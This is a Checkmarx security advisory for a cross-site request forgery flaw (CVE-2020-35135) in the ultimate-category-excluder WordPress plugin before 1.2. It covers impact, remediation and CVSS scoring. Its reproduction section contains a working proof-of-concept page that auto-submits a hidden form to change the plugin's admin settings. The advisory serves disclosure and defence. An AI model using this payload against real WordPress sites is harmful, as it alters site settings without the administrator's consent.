---
title: "CX-2020-4294"
date: "2020-12-08T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4294/"
---

# CX-2020-4294

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Dec 8, 2020

CVE-2020-35135  **Published:** Dec 8, 2020

8.8 High Severity CSRF wordpress

YN Yaniv Nizry  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of the ultimate-category-excluder WordPress plugin are vulnerable to a Cross-Site Request Forgery (CSRF) attack in the page `ultimate-category-excluder.php`.

## Product

ultimate-category-excluder wordpress plugin before 1.2

## Impact

An admins that visits a malicious site could change The ultimate-category-excluder setting without his/her knowledge.

## Steps to reproduce

1. WordPress with vulnerable ultimate-category-excluder plugin installed
2. Admin visits the page:

    ```

    <html><head></head>
    <body>
    <form style="opacity: 0;" action="http://[wordpress_url]/wp-admin/options-general.php?page=ultimate-category-excluder.php" method="POST">
    <input type="text" name="exclude_main[]" value="-1" />
    <input type="text" name="exclude_feed[]" value="-1" />
    <input type="text" name="exclude_search[]" value="-1" />
    <input type="number" name="exclude_archives[]" value='-1' />
    <input type="text" name="ksuce" value="true" />
    <button>submit</button>
    </form>
    ```

&lt;script&gt;document.querySelector(‘form’).submit();&lt;/script&gt;  
&lt;/body&gt;&lt;/html&gt;

```

### Expected result:
Admin setting page will change according to the attacker's input.
```

## Remediation

Update ultimate-category-excluder to 1.2 or above.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [Yaniv Nizry](https://twitter.com/ynizry).

## Resources

1. [Changeset](https://plugins.trac.wordpress.org/changeset/2434070)

0  High Severity CVSS v3.1 Score

   8.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Dec 8, 2020 Notified the maintainer
2. Fixed Dec 8, 2020 Fix commit got released

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